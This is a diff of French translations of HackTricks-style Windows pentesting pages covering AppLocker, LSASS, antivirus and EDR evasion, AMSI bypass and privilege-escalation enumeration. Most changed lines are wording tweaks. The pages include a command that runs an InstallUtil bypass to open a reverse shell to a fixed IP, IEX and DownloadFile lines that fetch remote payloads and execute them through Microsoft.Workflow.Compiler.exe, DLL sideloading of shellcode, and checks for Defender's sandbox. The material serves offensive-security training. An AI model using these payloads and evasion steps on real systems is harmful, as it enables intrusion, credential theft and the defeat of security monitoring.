Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins commerciaux spécifiques d'une organisation.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et fichiers les utilisateurs peuvent exécuter**. Elle fournit un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\
|
||||
Il est courant que les organisations **bloquent cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**.
|
||||
|
||||
### Vérifier
|
||||
@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
Ce chemin de registre contient les configurations et politiques appliquées par AppLocker, fournissant un moyen de revoir l'ensemble actuel des règles appliquées sur le système :
|
||||
Ce chemin de registre contient les configurations et les politiques appliquées par AppLocker, fournissant un moyen de revoir l'ensemble actuel des règles appliquées sur le système :
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
@ -48,7 +48,7 @@ Les identifiants locaux sont présents dans ce fichier, les mots de passe sont h
|
||||
|
||||
### Autorité de sécurité locale (LSA) - LSASS
|
||||
|
||||
Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons de connexion unique.\
|
||||
Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons de Single Sign-On.\
|
||||
**LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **authentification**, **jetons d'accès**...\
|
||||
LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communiquera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine.
|
||||
|
||||
@ -58,7 +58,7 @@ Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets
|
||||
|
||||
LSA pourrait enregistrer sur disque certains identifiants :
|
||||
|
||||
- Mot de passe du compte d'ordinateur de l'Active Directory (contrôleur de domaine inaccessible).
|
||||
- Mot de passe du compte ordinateur de l'Active Directory (contrôleur de domaine inaccessible).
|
||||
- Mots de passe des comptes de services Windows
|
||||
- Mots de passe pour les tâches planifiées
|
||||
- Plus (mot de passe des applications IIS...)
|
||||
@ -134,7 +134,9 @@ Cette méthode nécessite que l'**utilisateur victime** soit **en train d'exécu
|
||||
|
||||
#### Connaître le mot de passe de l'utilisateur
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Comptes de service gérés par groupe (gMSA)
|
||||
|
||||
@ -160,7 +162,7 @@ Aussi, consultez cette [page web](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
## LAPS
|
||||
|
||||
La **Local Administrator Password Solution (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe des administrateurs locaux. Ces mots de passe, qui sont **randomisés**, uniques et **régulièrement changés**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la capacité de lire les mots de passe des administrateurs locaux est fournie.
|
||||
La **Local Administrator Password Solution (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe des administrateurs locaux. Ces mots de passe, qui sont **randomisés**, uniques et **régulièrement changés**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la possibilité de lire les mots de passe des administrateurs locaux est fournie.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -168,7 +170,7 @@ La **Local Administrator Password Solution (LAPS)**, disponible en téléchargem
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
|
||||
|
||||
### **Vérifiez**
|
||||
```powershell
|
||||
@ -187,7 +189,7 @@ Dans les versions actuelles de Windows, ce contournement ne fonctionnera pas, ma
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
||||
```
|
||||
#### Reverse shell :
|
||||
#### Reverse shell:
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
|
||||
@ -10,7 +10,7 @@ Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichi
|
||||
|
||||
### **Détection statique**
|
||||
|
||||
La détection statique est réalisée en signalant des chaînes ou des tableaux d'octets malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie qu'utiliser des outils publics connus peut vous faire attraper plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques moyens de contourner ce type de détection :
|
||||
La détection statique est réalisée en signalant des chaînes ou des tableaux d'octets malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire attraper plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques moyens de contourner ce type de détection :
|
||||
|
||||
- **Chiffrement**
|
||||
|
||||
@ -34,16 +34,16 @@ Je vous recommande vivement de consulter cette [playlist YouTube](https://www.yo
|
||||
L'analyse dynamique est lorsque l'AV exécute votre binaire dans un bac à sable et surveille les activités malveillantes (par exemple, essayer de déchiffrer et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à gérer, mais voici quelques choses que vous pouvez faire pour échapper aux bacs à sable.
|
||||
|
||||
- **Dormir avant l'exécution** Selon la façon dont c'est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont un temps très court pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs temps de sommeil peut perturber l'analyse des binaires. Le problème est que de nombreux bacs à sable d'AV peuvent simplement ignorer le sommeil selon la façon dont c'est implémenté.
|
||||
- **Vérification des ressources de la machine** En général, les bacs à sable ont très peu de ressources à disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable.
|
||||
- **Vérification des ressources de la machine** En général, les bacs à sable ont très peu de ressources à utiliser (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable.
|
||||
- **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez effectuer une vérification sur le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, si ce n'est pas le cas, vous pouvez faire quitter votre programme.
|
||||
|
||||
Il s'avère que le nom de l'ordinateur du bac à sable de Microsoft Defender est HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes dans le bac à sable de Defender, donc vous pouvez faire quitter votre programme.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source : <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
D'autres très bons conseils de [@mgeeky](https://twitter.com/mariuszbit) pour contrer les bacs à sable
|
||||
D'autres conseils vraiment bons de [@mgeeky](https://twitter.com/mariuszbit) pour contrer les bacs à sable
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
|
||||
|
||||
Comme nous l'avons dit précédemment dans ce post, **les outils publics** seront finalement **détectés**, donc, vous devriez vous poser une question :
|
||||
|
||||
@ -56,7 +56,7 @@ La bonne réponse est probablement la dernière. Prenant mimikatz comme exemple,
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Chaque fois que c'est possible, **priorisez toujours l'utilisation de DLLs pour l'évasion**, d'après mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, donc c'est une astuce très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr).
|
||||
Chaque fois que c'est possible, **priorisez toujours l'utilisation de DLLs pour l'évasion**, de mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, donc c'est une astuce très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr).
|
||||
|
||||
Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.
|
||||
|
||||
@ -64,11 +64,11 @@ Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un
|
||||
|
||||
Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus furtif.
|
||||
|
||||
## Sideloading de DLL & Proxying
|
||||
## Chargement latéral de DLL & Proxying
|
||||
|
||||
**Le Sideloading de DLL** tire parti de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et la charge utile malveillante(s) côte à côte.
|
||||
**Le chargement latéral de DLL** tire parti de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et la ou les charges utiles malveillantes côte à côte.
|
||||
|
||||
Vous pouvez vérifier les programmes susceptibles de Sideloading de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant :
|
||||
Vous pouvez vérifier les programmes susceptibles de chargement latéral de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant :
|
||||
```powershell
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
@ -98,7 +98,7 @@ La dernière commande nous donnera 2 fichiers : un modèle de code source DLL et
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
Ces résultats sont :
|
||||
Voici les résultats :
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -107,13 +107,13 @@ Notre shellcode (codé avec [SGN](https://github.com/EgeBalci/sgn)) et la DLL pr
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Je **recommande fortement** de regarder le [VOD twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la [vidéo d'ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en apprendre davantage sur ce que nous avons discuté plus en profondeur.
|
||||
> Je **recommande fortement** de regarder le [VOD twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la [vidéo d'ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en savoir plus sur ce que nous avons discuté plus en profondeur.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze est un kit d'outils de payload pour contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives`
|
||||
|
||||
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive.
|
||||
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière discrète.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -131,7 +131,7 @@ AMSI a été créé pour prévenir le "[malware sans fichier](https://en.wikiped
|
||||
|
||||
La fonctionnalité AMSI est intégrée dans ces composants de Windows.
|
||||
|
||||
- Contrôle de Compte Utilisateur, ou UAC (élévation d'EXE, COM, MSI, ou installation ActiveX)
|
||||
- Contrôle de Compte Utilisateur, ou UAC (élévation d'EXE, COM, MSI ou installation ActiveX)
|
||||
- PowerShell (scripts, utilisation interactive et évaluation de code dynamique)
|
||||
- Windows Script Host (wscript.exe et cscript.exe)
|
||||
- JavaScript et VBScript
|
||||
@ -145,19 +145,19 @@ L'exécution de `IEX (New-Object Net.WebClient).DownloadString('https://raw.gith
|
||||
|
||||
Remarquez comment il préfixe `amsi:` puis le chemin vers l'exécutable à partir duquel le script a été exécuté, dans ce cas, powershell.exe
|
||||
|
||||
Nous n'avons pas déposé de fichier sur le disque, mais nous avons quand même été attrapés en mémoire à cause d'AMSI.
|
||||
Nous n'avons pas déposé de fichier sur le disque, mais nous avons quand même été pris en mémoire à cause d'AMSI.
|
||||
|
||||
Il existe plusieurs façons de contourner AMSI :
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être un bon moyen d'échapper à la détection.
|
||||
Puisqu'AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être un bon moyen d'échapper à la détection.
|
||||
|
||||
Cependant, AMSI a la capacité de déobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option selon la manière dont elle est réalisée. Cela rend l'évasion pas si simple. Bien que, parfois, tout ce que vous devez faire est de changer quelques noms de variables et vous serez bon, donc cela dépend de combien quelque chose a été signalé.
|
||||
|
||||
- **Bypass AMSI**
|
||||
|
||||
Puisqu'AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en étant un utilisateur non privilégié. En raison de ce défaut dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'échapper au scan AMSI.
|
||||
Puisqu'AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en exécutant en tant qu'utilisateur non privilégié. En raison de ce défaut dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'échapper au scan AMSI.
|
||||
|
||||
**Forcer une Erreur**
|
||||
|
||||
@ -185,7 +185,7 @@ Gardez à l'esprit que cela sera probablement signalé une fois que ce post sera
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
Cette technique a été initialement découverte par [@RastaMouse](https://twitter.com/_RastaMouse/) et consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions pour retourner le code E_INVALIDARG, de cette manière, le résultat de l'analyse réelle retournera 0, ce qui est interprété comme un résultat propre.
|
||||
Cette technique a été initialement découverte par [@RastaMouse](https://twitter.com/_RastaMouse/) et consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions pour retourner le code pour E_INVALIDARG, de cette manière, le résultat de l'analyse réelle retournera 0, ce qui est interprété comme un résultat propre.
|
||||
|
||||
> [!NOTE]
|
||||
> Veuillez lire [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) pour une explication plus détaillée.
|
||||
@ -220,7 +220,7 @@ SmartScreen fonctionne principalement avec une approche basée sur la réputatio
|
||||
|
||||
**MoTW** (Mark of The Web) est un [flux de données alternatif NTFS](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) avec le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, avec l'URL depuis laquelle il a été téléchargé.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Vérification du flux ADS Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Vérification du flux de données Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Il est important de noter que les exécutables signés avec un certificat de signature **de confiance** **ne déclencheront pas SmartScreen**.
|
||||
@ -267,7 +267,7 @@ La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc,
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Cela implique **de créer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela a à la fois ses avantages et ses inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant Beacon. Cela signifie que si quelque chose dans notre action de post-exploitation tourne mal ou se fait attraper, il y a une **bien plus grande chance** que notre **implant survive.** L'inconvénient est que vous avez une **plus grande chance** de vous faire attraper par des **Détections Comportementales**.
|
||||
Cela implique **de créer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela a à la fois ses avantages et ses inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant Beacon. Cela signifie que si quelque chose dans notre action de post-exploitation tourne mal ou se fait attraper, il y a une **bien plus grande chance** que notre **implant survive.** L'inconvénient est que vous avez une **plus grande chance** de vous faire attraper par les **Détections Comportementales**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -298,11 +298,15 @@ Chaque environnement contre lequel vous vous battez aura ses propres forces et f
|
||||
|
||||
Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour avoir un aperçu des techniques d'évasion plus avancées.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
C'est aussi une autre excellente présentation de [@mariuszbit](https://twitter.com/mariuszbit) sur l'évasion en profondeur.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Anciennes techniques**
|
||||
|
||||
@ -473,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
32bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
{{#ref}}
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Liste des obfuscateurs C# : [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
@ -490,7 +496,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Utiliser python pour un exemple de construction d'injecteurs :
|
||||
### Utiliser python pour construire des injecteurs exemple :
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
```
|
||||
### Version Exploits
|
||||
|
||||
Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est utile pour rechercher des informations détaillées sur les vulnérabilités de sécurité Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la **surface d'attaque massive** qu'un environnement Windows présente.
|
||||
Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est utile pour rechercher des informations détaillées sur les vulnérabilités de sécurité de Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la **surface d'attaque massive** qu'un environnement Windows présente.
|
||||
|
||||
**Sur le système**
|
||||
|
||||
@ -79,7 +79,7 @@ Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est utile pour
|
||||
|
||||
### Environment
|
||||
|
||||
Des informations d'identification/juicy sont-elles enregistrées dans les variables d'environnement ?
|
||||
Des informations d'identification/infos juteuses sont-elles enregistrées dans les variables d'environnement ?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -112,9 +112,9 @@ Stop-Transcript
|
||||
```
|
||||
### Journalisation des modules PowerShell
|
||||
|
||||
Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie pourraient ne pas être capturés.
|
||||
Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.
|
||||
|
||||
Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en choisissant **"Journalisation des modules"** au lieu de **"Transcription PowerShell"**.
|
||||
Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en optant pour **"Journalisation des modules"** au lieu de **"Transcription PowerShell"**.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Un enregistrement complet des activités et du contenu de l'exécution du script est capturé, garantissant que chaque bloc de code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit complète de chaque activité, précieuse pour l'analyse judiciaire et l'analyse des comportements malveillants. En documentant toutes les activités au moment de l'exécution, des informations détaillées sur le processus sont fournies.
|
||||
Un enregistrement complet de l'activité et du contenu intégral de l'exécution du script est capturé, garantissant que chaque bloc de code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit complète de chaque activité, précieuse pour l'analyse judiciaire et l'analyse des comportements malveillants. En documentant toute l'activité au moment de l'exécution, des informations détaillées sur le processus sont fournies.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -167,7 +167,7 @@ Et si `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer`
|
||||
|
||||
Alors, **il est exploitable.** Si le dernier registre est égal à 0, alors, l'entrée WSUS sera ignorée.
|
||||
|
||||
Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils comme : [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ce sont des scripts d'exploits armés MiTM pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL.
|
||||
Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils comme : [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ce sont des scripts d'exploits MiTM armés pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL.
|
||||
|
||||
Lisez la recherche ici :
|
||||
|
||||
@ -255,7 +255,7 @@ Pour exploiter cette vulnérabilité, vous pouvez utiliser : _exploit/windows/lo
|
||||
|
||||
### Paramètres d'Audit
|
||||
|
||||
Ces paramètres décident ce qui est **journalisé**, donc vous devriez faire attention.
|
||||
Ces paramètres décident de ce qui est **journalisé**, donc vous devriez faire attention.
|
||||
```
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
```
|
||||
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** est conçu pour la **gestion des mots de passe des administrateurs locaux**, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne peuvent être consultés que par des utilisateurs ayant reçu des autorisations suffisantes via des ACL, leur permettant de voir les mots de passe administratifs locaux si autorisés.
|
||||
**LAPS** est conçu pour la **gestion des mots de passe des administrateurs locaux**, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne peuvent être accessibles que par des utilisateurs ayant reçu des autorisations suffisantes via des ACL, leur permettant de voir les mots de passe d'administrateur local si autorisés.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -295,7 +295,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Informations d'identification mises en cache
|
||||
|
||||
Les **informations d'identification de domaine** sont authentifiées par l'**Autorité de sécurité locale** (LSA) et utilisées par les composants du système d'exploitation. Lorsque les données de connexion d'un utilisateur sont authentifiées par un package de sécurité enregistré, des informations d'identification de domaine pour l'utilisateur sont généralement établies.\
|
||||
Les **informations d'identification de domaine** sont authentifiées par l'**Autorité de sécurité locale** (LSA) et utilisées par les composants du système d'exploitation. Lorsque les données de connexion d'un utilisateur sont authentifiées par un package de sécurité enregistré, les informations d'identification de domaine pour l'utilisateur sont généralement établies.\
|
||||
[**Plus d'infos sur les informations d'identification mises en cache ici**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Vérification des permissions des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**Vérification des autorisations des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
